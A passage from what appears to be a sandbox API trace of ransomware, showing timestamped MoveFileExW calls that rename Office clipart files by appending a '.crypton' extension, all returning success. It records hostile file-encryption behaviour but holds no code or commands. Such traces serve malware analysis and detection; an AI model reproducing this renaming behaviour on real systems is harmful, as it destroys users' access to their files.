lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.crypton"), dwFlags=0x2) returned 1 [0083.682] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.crypton"), dwFlags=0x2) returned 1 [0083.687] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.crypton"), dwFlags=0x2) returned 1 [0083.707] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.725] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.795] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.crypton"), dwFlags=0x2) returned 1 [0083.818] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.crypton"), dwFlags=0x2) returned 1 [0083.824] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.crypton"), dwFlags=0x2) returned 1 [0083.830] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.crypton"), dwFlags=0x2) returned 1 [0083.849] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.867] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.873] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.crypton"), dwFlags=0x2) returned 1 [0083.890] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.897] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.crypton"), dwFlags=0x2) returned 1 [0083.915] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.934] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.953] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.crypton"), dwFlags=0x2) returned 1 [0083.971] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.029] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.053] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.crypton"), dwFlags=0x2) returned 1 [0084.065] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.crypton"), dwFlags=0x2) returned 1 [0084.084] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.102] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.crypton"), dwFlags=0x2) returned 1 [0084.137] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.156] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.182] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.crypton"), dwFlags=0x2) returned 1 [0084.200] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.219] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.240] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.259] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.278] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.300] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.crypton"), dwFlags=0x2) returned 1 [0084.324] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.358] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.397] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.crypton"), dwFlags=0x2) returned 1 [0084.412] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.crypton"), dwFlags=0x2) returned 1 [0084.431] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.450] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.crypton"), dwFlags=0x2) returned 1 [0084.493] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.507] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.crypton"), dwFlags=0x2) returned 1 [0084.526] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.542] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.crypton"), dwFlags=0x2) returned 1 [0084.564] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.crypton"), dwFlags=0x2) returned 1 [0084.590] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.611] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.crypton"), dwFlags=0x2) returned 1 [0084.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.667] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.crypton"), dwFlags=0x2) returned 1 [0084.695] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.717] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.crypton"), dwFlags=0x2) returned 1 [0084.767] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.803] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.crypton"), dwFlags=0x2) returned 1 [0084.825] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.889] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.crypton"), dwFlags=0x2) returned 1 [0084.949] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.crypton"), dwFlags=0x2) returned 1 [0085.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.crypton"), dwFlags=0x2) returned 1 [0085.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.crypton"), dwFlags=0x2) returned 1 [0085.244] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.crypton"), dwFlags=0x2) returned 1 [0085.357] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.crypton"), dwFlags=0x2) returned 1 [0085.381] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.crypton"), dwFlags=0x2) returned 1 [0085.409] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft 